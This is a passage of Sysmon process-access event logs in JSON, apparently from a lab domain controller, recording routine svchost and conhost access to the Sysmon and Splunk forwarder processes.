C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:41.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5920,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:41.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5921,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:41.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5922,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:41.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5923,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:41.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5924,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:41.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5925,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:41.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5926,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:41.119","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:42","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5927,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:41.119\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4179-5F2D-0000-00100AD60800}\r\nTargetProcessId: 3388\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 